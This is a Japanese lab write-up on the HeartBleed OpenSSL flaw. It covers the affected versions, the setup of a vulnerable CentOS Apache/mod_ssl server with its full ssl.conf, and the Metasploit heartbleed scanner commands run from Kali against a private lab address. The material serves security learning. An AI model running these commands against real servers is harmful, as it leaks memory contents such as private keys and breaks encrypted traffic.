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OpenSSLの脆弱性「HeartBleed」を試してみた

概要

HeartBleedの脆弱性を試す機会があったので、脆弱性の内容についてまとめてみます。

 

 

 

「Heartbleed」とは、暗号化通信に使われる「OpenSSL」の脆弱性です。
HeartBleedはSSL/TLSのハートビート実装の脆弱性で、攻撃されると脆弱性を含んだOpenSSLのライブラリを使用しているサーバ上で、65,535バイトまでのメモリの内容が窃取されます。ただし、メモリ上でアクセスできる場所は選択できないため、窃取した情報が役に立たない場合もあります。

メモリにはデータの暗号化で使用する秘密鍵の情報等が含まれている場合があるため、そのような情報が窃取された場合は暗号化通信を解読される恐れがあります。

 

対象のバージョン

以下のバージョンが本脆弱性の影響を受けます。

  • OpenSSL 1.0.1 から 1.0.1f
  • OpenSSL 1.0.2-beta から 1.0.2-beta1

 

脆弱性への攻撃

実行環境

今回はKali Linuxより攻撃を行いました。

www.iestudy.work

 

攻撃対象はCentOS6.5としました。

実行したコマンド等

必要なパッケージインストール

yum install httpd
yum install mod_ssl

秘密鍵の作成

openssl genrsa 2048 > server.key

CSR証明書の発行

openssl req -new -key server.key > server.csr

証明書の発行

openssl x509 -days 365 -req -signkey server.key < server.csr > server.crt

SSLの設定

vi ssl.conf ※以下、赤字の部分を修正しました。

[root@localhost conf.d]# cat ssl.conf
#
# This is the Apache server configuration file providing SSL support.
# It contains the configuration directives to instruct the server how to
# serve pages over an https connection. For detailing information about these
# directives see <URL:http://httpd.apache.org/docs/2.2/mod/mod_ssl.html>
#
# Do NOT simply read the instructions in here without understanding
# what they do. They're here only as hints or reminders. If you are unsure
# consult the online docs. You have been warned.
#

LoadModule ssl_module modules/mod_ssl.so

#
# When we also provide SSL we have to listen to the
# the HTTPS port in addition.
#
Listen 443

##
## SSL Global Context
##
## All SSL configuration in this context applies both to
## the main server and all SSL-enabled virtual hosts.
##

# Pass Phrase Dialog:
# Configure the pass phrase gathering process.
# The filtering dialog program (`builtin' is a internal
# terminal dialog) has to provide the pass phrase on stdout.
SSLPassPhraseDialog builtin

# Inter-Process Session Cache:
# Configure the SSL Session Cache: First the mechanism
# to use and second the expiring timeout (in seconds).
SSLSessionCache shmcb:/var/cache/mod_ssl/scache(512000)
SSLSessionCacheTimeout 300

# Semaphore:
# Configure the path to the mutual exclusion semaphore the
# SSL engine uses internally for inter-process synchronization.
SSLMutex default

# Pseudo Random Number Generator (PRNG):
# Configure one or more sources to seed the PRNG of the
# SSL library. The seed data should be of good random quality.
# WARNING! On some platforms /dev/random blocks if not enough entropy
# is available. This means you then cannot use the /dev/random device
# because it would lead to very long connection times (as long as
# it requires to make more entropy available). But usually those
# platforms additionally provide a /dev/urandom device which doesn't
# block. So, if available, use this one instead. Read the mod_ssl User
# Manual for more details.
SSLRandomSeed startup file:/dev/urandom 256
SSLRandomSeed connect builtin
#SSLRandomSeed startup file:/dev/random 512
#SSLRandomSeed connect file:/dev/random 512
#SSLRandomSeed connect file:/dev/urandom 512

#
# Use "SSLCryptoDevice" to enable any supported hardware
# accelerators. Use "openssl engine -v" to list supported
# engine names. NOTE: If you enable an accelerator and the
# server does not start, consult the error logs and ensure
# your accelerator is functioning properly.
#
SSLCryptoDevice builtin
#SSLCryptoDevice ubsec

##
## SSL Virtual Host Context
##

<VirtualHost _default_:443>

# General setup for the virtual host, inherited from global configuration
#DocumentRoot "/var/www/html"
#ServerName www.example.com:443

# Use separate log files for the SSL virtual host; note that LogLevel
# is not inherited from httpd.conf.
ErrorLog logs/ssl_error_log
TransferLog logs/ssl_access_log
LogLevel warn

# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on

# SSL Protocol support:
# List the enable protocol levels with which clients will be able to
# connect. Disable SSLv2 access by default:
SSLProtocol all -SSLv2

# SSL Cipher Suite:
# List the ciphers that the client is permitted to negotiate.
# See the mod_ssl documentation for a complete list.
SSLCipherSuite DEFAULT:!EXP:!SSLv2:!DES:!IDEA:!SEED:+3DES

# Server Certificate:
# Point SSLCertificateFile at a PEM encoded certificate. If
# the certificate is encrypted, then you will be prompted for a
# pass phrase. Note that a kill -HUP will prompt again. A new
# certificate can be generated using the genkey(1) command.
#SSLCertificateFile /etc/pki/tls/certs/localhost.crt
SSLCertificateFile /etc/httpd/cert/server.crt

# Server Private Key:
# If the key is not combined with the certificate, use this
# directive to point at the key file. Keep in mind that if
# you've both a RSA and a DSA private key you can configure
# both in parallel (to also allow the use of DSA ciphers, etc.)
#SSLCertificateKeyFile /etc/pki/tls/private/localhost.key
SSLCertificateKeyFile /etc/httpd/cert/server.key

# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/pki/tls/certs/server-chain.crt

# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
#SSLCACertificateFile /etc/pki/tls/certs/ca-bundle.crt

# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10

# Access Control:
# With SSLRequire you can do per-directory access control based
# on arbitrary complex boolean expressions containing server
# variable checks and other lookup directives. The syntax is a
# mixture between C and Perl. See the mod_ssl documentation
# for more details.
#<Location />
#SSLRequire ( %{SSL_CIPHER} !~ m/^(EXP|NULL)/ \
# and %{SSL_CLIENT_S_DN_O} eq "Snake Oil, Ltd." \
# and %{SSL_CLIENT_S_DN_OU} in {"Staff", "CA", "Dev"} \
# and %{TIME_WDAY} >= 1 and %{TIME_WDAY} <= 5 \
# and %{TIME_HOUR} >= 8 and %{TIME_HOUR} <= 20 ) \
# or %{REMOTE_ADDR} =~ m/^192\.76\.162\.[0-9]+$/
#</Location>

# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o StrictRequire:
# This denies access when "SSLRequireSSL" or "SSLRequire" applied even
# under a "Satisfy any" situation, i.e. when it applies access is denied
# and no other module can change it.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<Files ~ "\.(cgi|shtml|phtml|php3?)$">
SSLOptions +StdEnvVars
</Files>
<Directory "/var/www/cgi-bin">
SSLOptions +StdEnvVars
</Directory>

# SSL Protocol Adjustments:
# The safe and default but still SSL/TLS standard compliant shutdown
# approach is that mod_ssl sends the close notify alert but doesn't wait for
# the close notify alert from client. When you need a different shutdown
# approach you can use one of the following variables:
# o ssl-unclean-shutdown:
# This forces an unclean shutdown when the connection is closed, i.e. no
# SSL close notify alert is send or allowed to received. This violates
# the SSL/TLS standard but is needed for some brain-dead browsers. Use
# this when you receive I/O errors because of the standard approach where
# mod_ssl sends the close notify alert.
# o ssl-accurate-shutdown:
# This forces an accurate shutdown when the connection is closed, i.e. a
# SSL close notify alert is send and mod_ssl waits for the close notify
# alert of the client. This is 100% SSL/TLS standard compliant, but in
# practice often causes hanging connections with brain-dead browsers. Use
# this only for browsers where you know that their SSL implementation
# works correctly.
# Notice: Most problems of broken clients are also related to the HTTP
# keep-alive facility, so you usually additionally want to disable
# keep-alive for those clients, too. Use variable "nokeepalive" for this.
# Similarly, one has to force some clients to use HTTP/1.0 to workaround
# their broken HTTP/1.1 implementation. Use variables "downgrade-1.0" and
# "force-response-1.0" for this.
SetEnvIf User-Agent ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0

# Per-Server Logging:
# The home of a custom SSL log file. Use this when you want a
# compact non-error SSL logfile on a virtual host basis.
CustomLog logs/ssl_request_log \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"

</VirtualHost>

 

 

実行結果

 

動画中で実行したコマンドは以下の通りです。

  • search heartbleed
  • use auxiliary/scanner/ssl/openssl_heartbleed
  • info(詳細情報の確認)
  • set RHOSTS 192.168.1.224(攻撃対象(CentOS6.5)のアドレス)
  • set verbose true(画面上に結果を返す設定)
  • run

参考にさせていただいたサイト

eset-info.canon-its.jp

www.ipa.go.jp

www2.deloitte.com